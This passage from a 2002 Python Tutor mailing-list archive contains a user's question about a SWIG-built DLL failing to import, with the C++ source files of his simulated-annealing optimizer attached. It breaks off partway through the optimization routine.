------=_NextPart_000_0018_01C1ACB7.08759200-- From m_konermann@gmx.de Sun Feb 3 15:02:47 2002 From: m_konermann@gmx.de (Keule) Date: Sun, 03 Feb 2002 16:02:47 +0100 Subject: [Tutor] C++ Extension Problems Message-ID: <3C5D5117.2000708@gmx.de> This is a multi-part message in MIME format. --------------090302080802010307050504 Content-Type: multipart/alternative; boundary="------------000502040303080901030702" --------------000502040303080901030702 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hi @ ALL ! I´ve created a .dll file with SWIG under windows. Now i want to use it and try to import it into the simannealfile.py modul, but pythonwin always gives the following error: File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 394, in ImportFile exec codeObj in __main__.__dict__ File "", line 1, in ? ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. Traceback (most recent call last): File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, in RunScript exec codeObject in __main__.__dict__ File "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py", line 2, in ? import simannealfile ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. I checked out the examples ,delivered with SWIG, and compared them with my Settings under Visual C++. The Examples are all functioned and now i absolutly did´nt know whats going wrong and why i always get the Errormessage above. I ´ve put my files with these mail. Perhaps anyone of you could check my settings an can give me an advice what´s going wrong. Thanks a lot Greetings Marcus --------------000502040303080901030702 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi @ ALL !

I´ve created a .dll file with SWIG under windows. Now i want to use it and try to import it into the simannealfile.py modul, but pythonwin always gives the following error:

File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 394, in ImportFile
    exec codeObj in __main__.__dict__
  File "<auto import>", line 1, in ?
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
Traceback (most recent call last):
  File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, in RunScript
    exec codeObject in __main__.__dict__
  File "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py", line 2, in ?
    import simannealfile
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.


I checked out the examples ,delivered with SWIG, and compared them with my Settings under Visual C++. The Examples are all functioned and now i absolutly did´nt know whats going wrong and why i always get the Errormessage above. I ´ve put my files with these mail.
Perhaps anyone of you could check my settings an can give me an advice what´s going wrong.

Thanks a lot
Greetings
Marcus
--------------000502040303080901030702-- --------------090302080802010307050504 Content-Type: text/plain; name="basisfile.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="basisfile.cpp" #include "basisfile.h" filetext::filetext () { tlln = 0; tfln = 0; variable_pointer = NULL; next = NULL; } filetext::~filetext () { clean (); } void filetext::clean () { clean (this); } void filetext::clean (struct filetext *ft) { if (ft) { if (ft->next) { clean (ft->next); ft->next = NULL; } variable_pointer = NULL; text.clean (); parameter_text.clean (); } } basisfile::basisfile () { filename = NULL; text = NULL; } basisfile::basisfile (struct string &fn) { filename = new struct string; filename->copy (fn); text = NULL; } basisfile::basisfile (char *fn) { init (fn); } basisfile::~basisfile () { clean (); } void basisfile::init (char *fn) { filename = new struct string; filename->copy (fn); text = NULL; } void basisfile::clean () { if (filename) { delete filename; filename = NULL; } if (text) { delete text; text = NULL; } } int basisfile::readfile () { if (!filename->size) { printf ("basisfile::readfile:\n No filename to read specified.\n"); return 1; } /* initialize text-pointer */ text = new struct filetext; /* Copy complete input file to text */ text->tfln = 1; if ((text->tlln = text->text.filereadc (*filename, '\n')) < 0) { printf ("basisfile::readfile ():\n "); strprint (*filename, "Error while reading file `", "'.\n"); return 1; } return 0; } int basisfile::writefile (string &otherfilename, char *mode) { struct filetext *help = this->text; if ( (*mode != 'a') && (*mode != 'w') ) { printf ("basisfile::writefile:\n Invalid mode %s ", mode); strprint (otherfilename, "for writing to file `", "'.\n"); return 1; } FILE *out = otherfilename.fileopen (mode); if (out) while (help != NULL) { if (help->text.size) help->text.filewrite (out); if (help->parameter_text.size) help->parameter_text.filewrite (out); help = help->next; } else { strprint (otherfilename, "basisfile::writefile:\n Unable to open file `", "'"); printf (" with mode %s.\n", mode); return 2; } while (help != NULL) { if (help->text.size) help->text.filewrite (otherfilename, "a"); if (help->parameter_text.size) help->parameter_text.filewrite (otherfilename, "a"); help = help->next; } return 0; } int basisfile::writefile (char *mode) { struct filetext *help = this->text; if ( (*mode != 'a') && (*mode != 'w') ) { printf ("basisfile::writefile:\n Invalid mode %s ", mode); strprint (*filename, "for writing to file `", "'.\n"); return 1; } FILE *out = filename->fileopen (mode); if (out) { while (help != NULL) { if (help->text.size) help->text.filewrite (out); if (help->parameter_text.size) help->parameter_text.filewrite (out); help = help->next; } fclose (out); } else { strprint (*filename, "basisfile::writefile:\n Unable to open file `", "'"); printf (" with mode %s.\n", mode); return 2; } // while (help != NULL) { // if (help->text.size) // help->text.filewrite (*filename, "a"); // if (help->parameter_text.size) // help->parameter_text.filewrite (*filename, "a"); // help = help->next; // } return 0; } int basisfile::build (struct variablelist *variable) { struct filetext *help; /* Look for specified variable */ while (variable) { help = this->text; /* search all parts of basisfile (except in parameter-text-parts) */ while (help) { /* search in text */ if (variable->linenumber <= help->tlln) { /* split text */ if ( split (&help, variable) ) { printf ("Error while splitting basisfile structure.\n"); return 1; } else /* parameter found */ help = NULL; } else { /* nothing found */ help = help->next; } } /* found parameter? */ if (!variable->text) { printf ("Couldn't find parameter number %d.\n", variable->number); printf ("Probably line number %d exceeds number of lines of file.\n", variable->linenumber); return 2; } /* look at next one */ variable = variable->next; } return 0; } int basisfile::split (struct filetext **text, struct variablelist *variable, int separators) { int line = (*text)->tfln; int linepos = 0, prepos = 0, pastpos; int original_size = (*text)->text.size; int original_tlln = (*text)->tlln; string help, dummy; int next_line_offset; struct filetext *hft = NULL; /* check text */ if (!text || !(*text)) { printf ("basisfile::split:\n Empty filetext structure. Aborting.\n"); return 100; } /* check linenumber and position */ if (variable->linenumber < 1) { printf ("basisfile::split:\n Invalid linenumber %d.\n", variable->linenumber); return 99; } if (variable->position < 0) { printf ("basisfile::split:\n Invalid position %d.\n", variable->position); return 99; } /* find right line */ while (line < variable->linenumber) { linepos += (*text)->text.string_complement_span("\n", linepos) + 1; line++; } next_line_offset = (*text)->text.string_complement_span("\n", linepos) + 1; /* if "\n" was not found, next_line_offset is position of "\0". Since this character is not meant to be copied to help, we must decrease next_line_offset by 1 in this case. */ if (next_line_offset+linepos == (*text)->text.size) help.ncopy ((*text)->text, next_line_offset-1, linepos); else help.ncopy ((*text)->text, next_line_offset, linepos); /* find beginning position of parameter-text in line */ while (separators < variable->position) { /* if not found */ if (!(help.string_string(dummy, variable->preseparator, prepos+1))) { /* Does line in question continue with next struct? */ if ( ((*text)->next) && ((*text)->next->tfln == line) ) return (split ( &((*text)->next), variable, separators)); else { printf("Problem in line no. %d:\n", line); printf(" Can not find more than %d", separators); strprint (variable->preseparator, " preseparators `", "'.\n"); printf(" Should have found %d.\n", variable->position); strprint (help, "Text of the line under consideration:\n \"", "\"\n"); return 1; } } prepos = help.size - dummy.size; separators++; } /* if no separators were meant to be found, dummy would not contain the string continuing with guessed variable-text start: dummy would be empty. */ if (!separators) dummy.copy (help); /* find ending position of parameter-text in line */ if (!variable->pastseparator.size) { printf("Problem with specification of variable no. %d:\n", variable->number); printf(" pastseparatpor is empty.\n"); return 2; } else if (!(help.string_string(dummy, variable->pastseparator, help.size-dummy.size + variable->preseparator.size - 1))) { printf("Problem in line no. %d:\n", line); printf(" Can not find"); strprint (variable->pastseparator, " pastseparator `", "' after "); printf ("%d. ", separators); strprint(variable->preseparator, "presaparator `", "'.\n"); strprint (help, "Text of the line under consideration:\n \"", "\"\n"); return 3; } pastpos = linepos + help.size - dummy.size; /* set adequat positions of beginning of parameter_text */ prepos += linepos + variable->preseparator.size - 1; /* save whole text */ dummy.copy ((*text)->text); /* copy non-parameter-text to text */ (*text)->text.ncopy (dummy, prepos); /* breaking line no. $line means, that text last line number is $line now. */ (*text)->tlln = line; /* Are we dealing with a line already splitted into text and paramter_text? Then save parameter_text and variable_pointer and take care of the variable-pointer to this old parameter_text. */ if ((*text)->parameter_text.size) { /* create new basisfile-node */ hft = new struct filetext; /* save parameter_text there. */ hft->parameter_text.copy ((*text)->parameter_text); /* save variable_pointer, too */ hft->variable_pointer = (*text)->variable_pointer; /* redirect variablelist-pointer to new location of old parameter_text. */ hft->variable_pointer->text = hft; } /* is some original text left behind new parameter_text? Save it! */ if (pastpos < original_size) { /* create new basisfile-node, if not done already */ if (!hft) hft = new struct filetext; /* save rest of the text in new node, too */ hft->text.ncopy (dummy, original_size-pastpos-1, pastpos); } /* copy parameter-text to parameter_text */ (*text)->parameter_text.ncopy (dummy, pastpos-prepos, prepos); /* link pointer of variable to according parameter_text and backlink pointer of *text to that same variable pointer. */ variable->text = (*text); (*text)->variable_pointer = variable; /* set adequat line numbers for new node and link it to the structure, if new node exists. */ if (hft) { /* text last line number is last line number of original text. */ hft->tlln = original_tlln; /* if parameter_text does not include '\n' of original line, new text first line number is just the number of the breaked line ($line). Otherwise new tfln is number of next line. */ if ((*text)->parameter_text.string_character ('\n')) hft->tfln = line+1; else hft->tfln = line; /* link new node to structure. aehm?? Take care of pointer of variable struct pointing to text->next. */ hft->next = (*text)->next; //hbf->next->variable_pointer->text = &hbf; (*text)->next = hft; } return 0; } int vl2pt (struct variablelist *vl) { while (vl) { if (vl->text) { if (vl->text->parameter_text.copy (vl->x_now)) { printf ("vl2pt:\n "); printf ("Error while copying x_now to paramter text.\n"); return 1; } } else { printf ("vl2pt:\n "); printf ("Cannot find paramter text for variable no. %d.\n", vl->number); return 2; } vl = vl->next; } return 0; } void print (struct filetext *ft) { while (ft) { printf ("tfln = %d\ttlln = %d\n", ft->tfln, ft->tlln); printf ("variablen_pointer->nummer = "); if (ft->variable_pointer) printf("%d\n", ft->variable_pointer->number); else printf("\n"); strprint (ft->text, "text:\n `", "'\n"); strprint (ft->parameter_text, "parameter_text: `", "'\n"); ft = ft->next; } } --------------090302080802010307050504 Content-Type: text/plain; name="basisfile.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="basisfile.h" #ifndef BASISFILE_H #define BASISFILE_H #include "safe_string.h" #include "variable.h" struct filetext { filetext (); ~filetext (); void clean (struct filetext *ft); void clean (); struct string text; struct string parameter_text; /* text first line number */ int tfln; /* text last line number */ int tlln; /* pointer to the variable-struct, which points to this text-struct. */ struct variablelist *variable_pointer; struct filetext *next; }; struct basisfile { basisfile (); basisfile (struct string &fn); basisfile (char *fn); ~basisfile (); void init (char *fn); void clean (); struct filetext *text; struct string *filename; int readfile (); /* write this.text and this.parameter_text to file 'filename'. writefile walks through from this to last element of next-pointer and writes first text and then parameter_text to the file. The file is opened once in mode 'mode'. Values of mode are meant to be "w"- or "a"-modes according to the fopen()-function. */ int writefile (struct string &filename, char *mode = "w"); int writefile (char *mode = "w"); int build (struct variablelist *variable); /* searches parameter_text specified in 'variable' in text of 'text'. If found, the text of 'text' is split into 'text' and 'parameter_text' and in case some text of the line is left, a new node is inserted into 'text'. In case of **text contains a splitted line, split will call itself recursively in order to search the whole line. The text-pointer of *variable is set to the node of **text containing the parametertext belonging to variable. How is parameter_text searched for? It is searched for the line variable->linenumber. variable->preseparator and variable->pastseparator gives the text left and right from the searched parameter_text. variable->position gives the number of preseparator sets which must be found before parameter_text. If variable->position is 0, variable->preseparator is ignored and it is assumed, that the parameter_text starts at the beginning of the line. If enough preseparators are found, the pastseparator will be searched for. An empty pastseparator will lead to an error, if the file is continuing after the parameter_text. A pastseparator not found, too. Return value is 0, if everything is fine, > 0 if an error occured. */ int split (struct filetext **text, struct variablelist *variable, int separators = 0); }; /* Copys x_now of variables to their parameter_texts */ int vl2pt (struct variablelist *vl); void print (struct filetext *ft); #endif --------------090302080802010307050504 Content-Type: text/plain; name="calculate.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="calculate.cpp" #include "calculate.h" #include "basisfile.h" int calculate (struct variable &result, struct variablelist *vl, struct basisfile *bf, struct string *call) { /* create basisfile with given values of variables */ /* 1. copy actual variables to parameter text parts */ if (vl2pt (vl)) { printf ("calculate ():\n "); printf ("Error while copying variables (x_now) to parameter texts.\n"); return 1; } /* 2. write basisfile */ if (bf) bf->writefile (); else { printf ("calculate ():\n No basisfile structure specified.\n"); return 1; } /* execute calculation */ call->system_call (); /* build result out of calculated data */ /* under construction !! */ FILE *ergebnis = fopen ("output.asc", "r"); if (ergebnis) fscanf(ergebnis, "%lf", &(result.dv)); else { printf ("calculate: Ausgabedatei `output.asc' nicht gefunden.\n"); return 1; } fclose (ergebnis); return 0; } int calculate (struct variable &result, struct basisfile *bf, struct string *call) { /* write basisfile */ if (bf) bf->writefile (); else { printf ("calculate ():\n No basisfile structure specified.\n"); return 1; } /* execute calculation */ call->system_call (); /* build result out of calculated data */ /* under construction !! */ FILE *ergebnis = fopen ("output.asc", "r"); if (ergebnis) fscanf(ergebnis, "%lf", &(result.dv)); else { printf ("calculate: Ausgabedatei `ergebnis.asc' nicht gefunden.\n"); return 1; } fclose (ergebnis); return 0; } --------------090302080802010307050504 Content-Type: text/plain; name="calculate.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="calculate.h" #ifndef CALCULATE_H #define CALCULATE_H #include "variable.h" /* calculates results for basisfile. If vl is parameter, the x_now's from vl will be incorporated into the basisfile. Otherwise not (this version is needed for first calculations, when x_now is still empty.) */ int calculate (struct variable &result, struct variablelist *vl, struct basisfile *bf, struct string *call); int calculate (struct variable &result, struct basisfile *bf, struct string *call); #endif --------------090302080802010307050504 Content-Type: text/plain; name="evaluate.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="evaluate.cpp" #include "evaluate.h" evaluate::evaluate () { goal = NULL; epsilon = NULL; minchange = NULL; criteria = '0'; } evaluate::~evaluate () { } int evaluate::abort (struct variable &result) { int comp; switch (criteria) { case 'e': /* epsilon-environment of goal must be reached */ printf ("evaluate::abort(): case 'e' not implemented yet.\n"); return -1; break; case 's': /* result must be smaller than goal */ comp = smaller (&result, goal); if (comp < 0) { printf ("evaluate::abort():\n"); printf (" Error while comparing result with goal.\n"); return -1; } return comp; break; case 'g': /* result must be greater than goal */ comp = greater (&result, goal); if (comp < 0) { printf ("evaluate::abort():\n"); printf (" Error while comparing result with goal.\n"); return -1; } return comp; break; case 'n': /* `minchange' has to be exceeded after `n' calculations of result */ printf ("evaluate::abort(): case 'n' not implemented yet.\n"); return -1; break; default: printf ("evaluate::abort():\n"); printf (" Unknown criteria `%c'.\n"); return -1; } return 0; } --------------090302080802010307050504 Content-Type: text/plain; name="evaluate.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="evaluate.h" #ifndef EVALUATE_H #define EVALUATE_H #include "variable.h" struct evaluate { evaluate (); ~evaluate (); /* criteria is used to choose method to determine end or success of optimization. 'e': epsilon-environment of goal must be reached 's': result must be smaller than goal 'g': result must be greater than goal 'n': `minchange' has to be exceeded after `n' calculations of result */ char criteria; /* goal of optimization. */ struct variable *goal; /* error with which goal may be achieved */ struct variable *epsilon; /* `minchange' has to be exceeded after `n' calculations of result */ struct variable *minchange; int n; int abort (struct variable &result); }; #endif --------------090302080802010307050504 Content-Type: text/plain; name="safe_string.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="safe_string.cpp" #include "safe_string.h" #include "variable.h" #include string::string () { size = 0; str = NULL; label = NULL; } string::string ( int s, char *l ) { init ( s, l ); } string::string ( char *s, char *l ) { size = strlen ( s ) + 1; init ( size, l ); strcpy ( str, s ); } string::string ( string &s, char *l ) { str = NULL; size = 0; label = l; copy ( s ); } string::~string () { clean (); } void string::clean () { if ( str ) delete [] str; str = NULL; } void string::init ( int s, char *l ) { if ( s ) { size = s; str = new char [ s ]; } else str = NULL; if ( l ) { label = new char [ strlen ( l ) + 1 ]; strcpy ( label, l ); } else label = NULL; } string & string::operator = ( string &s ) { size = s.size; str = s.str; label = s.label; return *this; } void string::check_index ( int i ) { if ( ( i < 0 ) || ( i >= size ) ) { printf ( "string::check_index ( %d )", i ); if ( label ) printf ( " %s", label ); printf ( ": Access out of bounds.\n" ); exit (0); } } struct string & string::copy ( string &s ) { if ( this->str == s.str ) return *this; if ( str ) delete [] str; if ( !s.str ) { size = 0; str = NULL; return *this; } size = s.size; str = new char [ size ]; for ( int i=0; i < size; i++ ) (*this) (i) = s (i); return *this; } struct string & string::copy ( char *s ) { if ( this->str == s ) return *this; if ( str ) delete [] str; size = strlen ( s ) + 1; str = new char [ size ]; for ( int i=0; i < size-1; i++ ) (*this) (i) = s [i]; str[size-1] = '\0'; return *this; } int string::copy (double d, long int decimal) { /* check decimal */ if (decimal<0) { printf ("string::copy:\n Invalid value of decimal: %d\n", decimal); return 1; } decimal; /* number of digits before dot */ int digits = 0; /* number of characters for sprintf-format-string "%fdigits.decimal" */ /* 4 = '%' 'f' '.' */ int noc = 3; /* calculate number of digits needed to print d */ /* watch out for negative numbers */ if ( d < 0 ) digits += (int)log10(-d) + 2; else if ( d == 0 ) { digits = 1; noc++; } else digits += (int)log10(d) + 1; /* calculate number of characters needed to print format string */ noc += (int)log10(digits)+1 + (int)log10(decimal)+1; /* build format string */ char *formatstring = new char [noc]; sprintf (formatstring, "%%%d.%df", digits, decimal); /* build string */ str = new char [ digits + decimal + 2 ]; sprintf ( str, formatstring, d ); str[digits + decimal+1] = '\0'; delete [] formatstring; return 0; } int string::copy (int i) { /* number of digits */ int digits = 0; /* calculate number of digits needed to print d */ /* watch out for negative numbers */ if ( i < 0 ) digits += (int)log10(-(double)i) + 2; else if ( i == 0 ) digits = 1; else digits += (int)log10(double(i)) + 1; /* build string */ init ( digits + 1 ); sprintf ( str, "%d", i ); str[digits] = '\0'; return 0; } int string::copy (struct variable *v) { if (!v) { printf ("string::copy(struct variable *v):\n"); printf (" No variable given.\n"); return 1; } switch (v->type) { case 'i': /* integer */ copy (v->iv); break; case 'd': /* double */ // for (int run = 0; run < 500000; run++) { // printf ("run = %d\n", run); // fflush(NULL); copy (v->dv, v->dprecision); // } //return 1; break; case 's': /* string */ copy (*(v->sv)); break; default: /* Unknown type */ printf ("string::copy:\n Unknown type `%c' of struct variable.\n", v->type); return 1; } return 0; } void string::out (char **s) { *s = new char [size]; strcpy (*s, str); } string & string::compose ( string &first, string &second, char *inbetween ) { copy ( first ); cat ( inbetween ); cat ( second ); return *this; } string & string::compose ( string &first, char *second, char *inbetween ) { copy ( first ); cat ( inbetween ); cat ( second ); return *this; } string & string::compose ( string &first, double second, char *inbetween ) { char help[1000000]; sprintf(help, "%g", second); copy ( first ); cat ( inbetween ); cat ( help ); return *this; } string & string::compose ( string &first, int second, char *inbetween ) { char help[1000000]; sprintf(help, "%d", second); copy ( first ); cat ( inbetween ); cat ( help ); return *this; } int string::element ( int i ) { return str[i]; } int string::compare ( string &s ) { return strcmp ( this->str, s.str ); } int string::compare ( char *s ) { if ( this->str ) if ( strcmp ( this->str, s ) ) return 1; else return 0; return -1; } int string::string_span ( char *stopset, int offset ) { return (strspn (str+offset, stopset)); } int string::string_span ( string &stopset, int offset ) { return (strspn (str+offset, stopset.str)); } int string::string_complement_span ( char *stopset ) { return (strcspn (str, stopset)); } int string::string_complement_span ( char *stopset, int offset ) { return (strcspn (str+offset, stopset)); } int string::string_complement_span ( string &stopset, int offset ) { return (strcspn (str+offset, stopset.str)); } int string::string_string ( struct string &result, char *needle ) { char *help; if ((help = strstr(str, needle))) { result.copy(help); return 1; } else return 0; } int string::string_string ( struct string &result, struct string &needle ) { char *help; if ((help = strstr(str, needle.str))) { result.copy(help); return 1; } else return 0; } int string::string_string ( struct string &result, struct string &needle, int offset ) { char *help; if ((help = strstr(str+offset, needle.str))) { result.copy(help); return 1; } else return 0; } int string::string_character ( char c ) { if (strchr(str, c)) return 1; else return 0; } void string::string_pointer_break ( string &result, char *needle ) { result.copy (strpbrk (str, needle)); } struct string & string::ncopy ( string &s, int n ) { if ( str ) delete [] str; if ( n > s.size ) size = s.size; else size = n + 1; if ( size ) { str = new char [ size ]; for ( int i=0; i < size-1; i++ ) (*this) (i) = s (i); (*this) ( size-1 ) = '\0'; } return *this; } struct string & string::ncopy ( string &s, int n, int offset ) { if ( n + offset >= s.size ) { printf ( "Error in string::ncopy : "); printf ( " n=%d, offset=%d, s.size=%d\n", n, offset, s.size ); printf ( " Hint: size includes `\\0'.\n" ); exit ( 1 ); } if ( str ) delete [] str; if ( n > s.size-offset ) size = s.size-offset; else size = n + 1; if ( size ) { str = new char [ size ]; for ( int i=0; i < size-1; i++ ) (*this) (i) = s (i+offset); (*this) ( size-1 ) = '\0'; } return *this; } string & string::cat ( string &s ) { string help ( str ); size += s.size-1; if ( str ) delete [] str; str = new char [ size ]; for ( int i=0; i < size; i++ ) if ( i < help.size-1 ) (*this)(i) = help (i); else (*this)(i) = s (i-help.size+1); return *this; } string & string::cat ( char *s ) { if ( !s ) return *this; if ( !str ) { copy ( s ); return *this; } string help ( str ); size += strlen ( s ); if ( str ) delete [] str; str = new char [ size ]; for ( int i=0; i < size; i++ ) if ( i < help.size-1 ) (*this)(i) = help (i); else (*this)(i) = s [ i-help.size+1 ]; return *this; } FILE * string::fileopen ( char *s ) { return ( fopen ( str, s ) ); } int string::fileread (string &file) { FILE *in;; int number = 0; /* Count number of characters of input file */ /* open file */ if ((in = file.fileopen("r"))==NULL) { strprint (file, "Cannot open file `", "'.\n"); return 1; } /* Count */ while ( fgetc(in) != EOF ) number++; /* close file */ fclose (in); /* Copy file to string */ /* open again */ if ((in = file.fileopen("r"))==NULL) { strprint (file, "Cannot open file `", "'.\n"); printf ("Since I've been able to open it recently, something really"); printf ("strange is going on.\n"); return -1; } /* get memory */ init (number); /* copy */ for (int i=0; i #include #include //#include "variable.h" /* This straight-forward string class is intended to make use of string operations safe. Every function is meant to allocate just the memory the resulting string needs. No space is wasted and no bytes are written in not-allocated memory. To garantuee this, the 'size' of a string is the number of characters stored in the string, including the ending '\0'. */ struct string { int size; char *label; string (); string ( int s, char *l = NULL ); string ( char *s, char *l = NULL ); string ( string &s, char *l = NULL ); ~string (); void clean (); char &operator () ( int i ) { check_index ( i ); return str [i]; } string &operator= ( string &s ); /* Add a 's' to *this. (strcat) */ string &cat ( string &s ); string &cat ( char *s ); /* copies 's' to *this. (strcpy) */ string © ( string &s ); string © ( char *s ); /* makes a string (*this) out of d. Builds format-string for sprintf "%a.decimalf" by calculating a from d. */ int copy (double d, long int decimal); int copy (int i); /* copies the content of v to string. */ int copy (struct variable *v); /* builds 'cs' with str of string */ void out (char **cs); /* copies first 'n' bytes of 's' to *this. (strncpy) */ string &ncopy ( string &s, int n ); /* copies 'n' bytes starting at 'offset' of 's' to *this. (strncpy) */ string &ncopy ( string &s, int n, int offset ); /* composes string of 'first' and 'second' with 'inbetween' inbetween. E.g. 'first' containing "first", 'second' containing "second" and 'inbetween' containing "." result is "first.second". */ string &compose ( string &first, string &second, char *inbetween ); string &compose ( string &first, char *second, char *inbetween ); string &compose ( string &first, double second, char *inbetween ); string &compose ( string &first, int second, char *inbetween ); /* returns element i */ int element ( int i ); /* compares *this to 's'. Returnvalues just like strcmp. */ int compare ( struct string &s ); int compare ( char *s ); /* Works like strcspn. Citing Emacs *info*: The `strcspn' ("string complement span") function returns the length of the initial substring of STRING that consists entirely of characters that are _not_ members of the set specified by the string STOPSET. (In other words, it returns the offset of the first character in STRING that is a member of the set STOPSET.) For example, strcspn ("hello, world", " \t\n,.;!?") => 5 */ int string_complement_span ( char *stopset, int offset ); int string_complement_span ( struct string &stopset, int offset ); int string_complement_span ( char *stopset ); /* Works like strspn. Citing Emacs *info*: The `strspn' ("string span") function returns the length of the initial substring of STRING that consists entirely of characters that are members of the set specified by the string SKIPSET. The order of the characters in SKIPSET is not important. For example, strspn ("hello, world", "abcdefghijklmnopqrstuvwxyz") => 5 */ int string_span ( struct string &stopset, int offset ); int string_span ( char *stopset, int offset ); /* Searches 'needle' in *this and copies the substring beginning with 'needle' to 'result'. Return value is 1 if 'needle' is found, 0 otherwise. (strstr) */ int string_string ( struct string &result, char *needle ); int string_string ( struct string &result, struct string &needle ); int string_string ( struct string &result, struct string &needle, int offset ); /* Searches character 'c' in *this. Return value is 1 if 'c' is found, 0 otherwise. (strchr) */ int string_character ( char c ); /* In a way like strbrk. Copies the string beginning with the first found member of 'needle' in *this to result. */ void string_pointer_break ( struct string &result, char *needle ); /* Interpretes *this as a filename returns a pointer to the file, opened in mode 's'. (fopen) */ FILE *fileopen ( char *s ); /* copies the contents of 'file' to *this. */ int fileread (string &file); /* copies the contents of 'file' to *this and returns the number of lines. */ int filereadc (string &file, char count); /* writes contents of *this to the file named 'file'. Mode should be "w" or "a" according to fopen(). */ int filewrite (string &file, char *mode); /* writes *this to stream *out. */ int filewrite (FILE *out); /* stdlib's 'system' */ int system_call (); void init ( int s, char *l = NULL ); protected: char *str; void check_index ( int i ); }; void print ( struct string &s ); /* print to standard output in the following order: 'first', 'string', 'last'. The Elements printed form 'string' may be limited by 'offset' (first printed element) and 'stop' (last printed element). */ void strprint ( struct string &s, char *first = NULL, char *last = NULL ); void strprint ( struct string &s, int offset, char *first = NULL, char *last = NULL ); void strprint ( struct string &s, int offset, char stop, char *first = NULL, char *last = NULL ); #endif --------------090302080802010307050504 Content-Type: text/plain; name="simanneal.h" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="simanneal.h" #ifndef SIMANNEAL_H #define SIMANNEAL_H #include "variable.h" #include "safe_string.h" #include "evaluate.h" struct simanneal_varlist { simanneal_varlist (); ~simanneal_varlist (); void clean (); void clean (struct simanneal_varlist *svl); /* copies parametertext's to x_now */ int pt2xn (); struct variablelist *vl; struct simanneal_varlist *next; }; struct simulated_annealing { simulated_annealing (); simulated_annealing (struct variablelist *vlist, struct basisfile *bf, struct evaluate *eval, int tm, double tf, struct string *syscall); ~simulated_annealing (); /* list of all variables */ struct variablelist *vl; /* list of variables relevant for simulated annealing */ struct simanneal_varlist *svl; /* basisfile text */ struct basisfile *text; /* abort criteria */ struct evaluate *success; /* maximum value of tc */ int tc_max; /* 100 */ /* factor of decreasement for temperature, when tc reaches tc_max */ double t_factor; /* 0.98 */ /* system call */ struct string *call; int build_varlist (); int optimize (); int vary_simvarlist (); int take_new_result (struct variable &fnew, struct variable &fold, double t); }; int x_now_2_x_opt (struct simanneal_varlist *svl); #endif --------------090302080802010307050504 Content-Type: text/plain; name="simannealfile.cpp" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="simannealfile.cpp" #include "simanneal.h" #include #include #include "calculate.h" simanneal_varlist::simanneal_varlist () { vl = NULL; next = NULL; } simanneal_varlist::~simanneal_varlist () { clean (this); } void simanneal_varlist::clean () { clean (this); } void simanneal_varlist::clean (struct simanneal_varlist *svl) { if (svl) { if (svl->next) { clean (svl->next); svl->next = NULL; } vl->clean (); } } int simanneal_varlist::pt2xn () { struct simanneal_varlist *help = this; while (help) { if (help->vl->pt2xn (1)) { printf ("simanneal_varlist::pt2xn ():\n "); printf ("Error while copying parameter text to x_now of variable no. %d", help->vl->number); printf ("\n"); return 1; } help = help->next; } return 0; } int x_now_2_x_opt (struct simanneal_varlist *svl) { while (svl) { if (!svl->vl) { printf ("x_now_2_x_opt ():\n "); printf ("Empty variable list!.\n"); return 1; } if (!svl->vl->x_opt) { printf ("x_now_2_x_opt ():\n "); printf ("Empty x_opt in variable list!.\n"); return 1; } if (!svl->vl->x_now) { printf ("x_now_2_x_opt ():\n "); printf ("Empty x_now in variable list!.\n"); return 1; } svl->vl->x_opt->copy (svl->vl->x_now); svl = svl->next; } return 0; } simulated_annealing::simulated_annealing () { vl = NULL; svl = NULL; text = NULL; success = NULL; call = NULL; }; simulated_annealing::simulated_annealing (struct variablelist *vlist, struct basisfile *bf, struct evaluate *eval, int tm, double tf, struct string *syscall) { tc_max = tm; t_factor = tf; vl = vlist; text = bf; success = eval; call = syscall; } simulated_annealing::~simulated_annealing () { vl = NULL; svl = NULL; text = NULL; success = NULL; call = NULL; } int simulated_annealing::build_varlist () { struct simanneal_varlist *help = NULL; struct variablelist *helpvl = vl; while (helpvl) { if (helpvl->number > 0) { if (help) { help->next = new struct simanneal_varlist; help = help->next; } else { svl = new struct simanneal_varlist; help = svl; } help->vl = helpvl; } helpvl = helpvl->next; } if (!help) { printf ("simulated_annealing::build_varlist:\n"); printf (" No valid variables found.\n"); return 1; } return 0; } int simulated_annealing::optimize () { /* Value of calculation with valid vector */ struct variable f_x; f_x.init (0.0, 10); /* Value of calculation with new vector */ struct variable f_x_dx; f_x_dx.init (0.0, 10); /* temperature */ double temperature = 1; /* counter of times of temperature increasement */ int tc = 1; int take; /* initialize random number generator */ time_t init_rand; time (&init_rand); srand (init_rand); /* calculate with first vector */ if (calculate (f_x, text, call)) { printf ("simulated_annealing::optimize ():\n "); strprint (*call, "Error while trying to execute\n `", "'\n"); return 1; } while (!success->abort(f_x)) { /* build next variation of vector x */ if (vary_simvarlist ()) { printf ("simulated_annealing::optimize ():\n"); printf (" Error while building new variable vector.\n"); return 1; } /* calculate for next variation of vector */ if (calculate (f_x_dx, vl, text, call)) { strprint (*call, "Error while executing\n ", "\n"); return 1; } /* evaluate result */ if ((take = take_new_result (f_x_dx, f_x, temperature)) < 0) { printf ("simulated_annealing::optimize:\n"); printf (" Error while evaluating new result.\n"); return 1; } if (take) { /* new result is better */ f_x = f_x_dx; /* => x_now becomes new x_opt */ x_now_2_x_opt (svl); /* reset temperature counter */ tc = 1; /* testy */ printf ("%g\n", svl->vl->x_now->dv); } else { if (tc++ == tc_max) { tc = 1; temperature *= t_factor; } } } 